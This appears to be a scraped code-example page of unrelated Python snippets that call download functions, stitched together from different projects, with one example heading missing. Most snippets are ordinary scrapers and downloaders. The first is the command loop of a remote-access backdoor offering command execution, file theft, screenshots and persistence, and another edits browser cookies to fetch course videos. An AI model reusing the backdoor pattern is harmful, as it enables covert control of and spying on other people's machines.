Ejemplo n.º 1
0
def handleConnection(my_socket):
    print("[+] Handling connection")

    while True:
        user_input = my_socket.receive_data()

        print("[+] User input: ", user_input)

        my_socket.send_data(user_input)
        if user_input == "1":
            print("[+] Running system commands")
            execute_command(my_socket)

        elif user_input == "2":
            print("[+] Downloading file")
            download_files(my_socket)

        elif user_input == "3":
            my_socket.change_dir()

        elif user_input == "4":
            capture_screenshot(my_socket)

        elif user_input == "5":
            become_persistent(my_socket)

        elif user_input == "99":
            break
        else:
            print("[+] Invalid input")
Ejemplo n.º 2
0
def main():
    log_location = 'error.log'
    logging.basicConfig(filename=log_location, filemode='w', level=logging.DEBUG)

    print(sys.executable)

    download.download_files()
    processing.abs_paths_to_rel()
    processing.remove_crap()
    createhtml.create_full_html()
Ejemplo n.º 3
0
def download_from_dropbox(url, filetype):
    d = webdriver.PhantomJS(service_log_path='/tmp/ghostdriver.log')
    d.get(url)
    delay = 10 # seconds
    try:
        WebDriverWait(d, delay).until(EC.presence_of_element_located(d.find_element_by_class_name('browse-files')))
        print("Page is ready!")
    except TimeoutException:
        print("Loading took too much time!")
    urls = []
    file_list = d.find_element_by_class_name('browse-files')
    for file in file_list:
        urls.append(file.find_element_by_css_selector('div > a').get_attribute('href'))
    if filetype:
        urls = [url for url in urls if filetype in url]
    if len(urls) == 0:
        print("Sorry, there aren't any files with that extension here.")
        sys.exit()
    urls = set([url[:-1] + "1" for url in urls])

    def get_filename(url):
        return urllib.unquote(url.split("/")[-1][:-5])

    filenames = download_files(urls, get_filename)
    return filenames
Ejemplo n.º 4
0
def start_download(url, dir, single_threaded=False):
    urls = get_download_urls(HTML.get_html(url))

    if (not os.path.exists(dir)):
        print("Output directory doesn't exist, creating it now...")
        os.mkdir(dir)


    start_time = time.time()

    if (single_threaded is True):
        DL.download_files(urls, dir)
    else:
        DL.download_files_multithreaded(urls, dir)

    end_time = time.time()
    total_time = end_time-start_time

    return round(total_time, 2)
def narrator(toc=False,
             quotes=False,
             audios=False,
             download=False,
             html=False):
    soup = getWikiHTML()
    if toc:
        info = get_table_of_content(soup, html)
    elif quotes and audios:
        info = get_quotes_audios(soup, html)
        if download:
            urls = list(info.values())
            for elem in urls:
                downld.download_files(elem, download)
    elif quotes:
        info = get_quotes(soup, html)
    elif audios:
        info = get_audios(soup, html)
        if download: downld.download_files(info, download)
    else:  # quotes and audio sources is the default
        info = get_quotes_audios(soup, html)
        if download:
            urls = list(info.values())
            for elem in urls:
                downld.download_files(elem, download)
    return info
Ejemplo n.º 6
0
def download_from_wiredrive(url, filetype):
    d = webdriver.PhantomJS(service_log_path='/tmp/ghostdriver.log')
    d.get(url)
    page_source = d.page_source

    dataset = page_source.split("dataset")[1]
    dataset = dataset.split("totalFiles")[0]
    dataset = dataset.replace("\\","")
    file_links = dataset.split("https://")
    file_links = [file_link for file_link in file_links if "action=download" in file_link
                 and filetype in file_link]
    file_links = [file_link.split("\"")[0] for file_link in file_links]

    all_files = os.listdir('.')

    def get_filename(file_link):
        return "https://" + file_link.split("/")[-1]

    filenames = download_files(file_links, get_filename)
    return filenames
Ejemplo n.º 7
0
def download_course(url):
    #check for a valid url
    if url.find('.html') == -1:
        sys.exit(
            message.animate_characters(Fore.LIGHTRED_EX, draw.ANONYMOUS, 0.02))

    url = url[:url.find(".html") +
              5]  #strip any extra text after .html in the url

    # Folder/File paths
    lynda_folder_path = install.read_location_file() + '/'
    course_folder_path = chapters.course_path(url, lynda_folder_path)
    desktop_folder_path = install.folder_path("Desktop")
    download_folder_path = install.folder_path("Downloads")
    cookie_path = cookies.find_cookie(desktop_folder_path,
                                      download_folder_path)

    # Edit cookie file
    cookies.edit_cookie(cookie_path, message.NETSCAPE)

    #create course folder
    try:
        chapters.save_course(url, lynda_folder_path)
    except KeyboardInterrupt:
        sys.exit(
            message.colored_message(Fore.LIGHTRED_EX,
                                    "\n- Program Interrupted!!\n"))
    except:
        sys.exit(
            message.animate_characters(Fore.LIGHTWHITE_EX, draw.NOPE, 0.02))

    #save chapters and videos
    try:
        chapters.gather_info(url, course_folder_path)  # Gather information
        chapters.save_chapters(
            url, course_folder_path)  # Create chapters inside course folder
        download.download_files(
            url, cookie_path,
            course_folder_path)  # Downloading lynda videos to course folder
    except KeyboardInterrupt:
        sys.exit(
            message.colored_message(Fore.LIGHTRED_EX,
                                    "\n- Program Interrupted!!\n"))

    # Rename files
    try:
        path = renameFiles.assign_folder(course_folder_path)
    except KeyboardInterrupt:
        sys.exit(
            message.colored_message(Fore.LIGHTRED_EX,
                                    "\n- Program Interrupted!!\n"))
    except:
        sys.exit('error in assigning path')
    try:
        renameFiles.execute(path)
    except KeyboardInterrupt:
        sys.exit(
            message.colored_message(Fore.LIGHTRED_EX,
                                    "\n- Program Interrupted!!\n"))
    except:
        sys.exit(message.RENAMING_ERROR)
Ejemplo n.º 8
0
import sys
print(sys.executable)

import createhtml
import download
import processing

download.download_files()
processing.abs_paths_to_rel()
processing.remove_crap()
createhtml.create_full_html()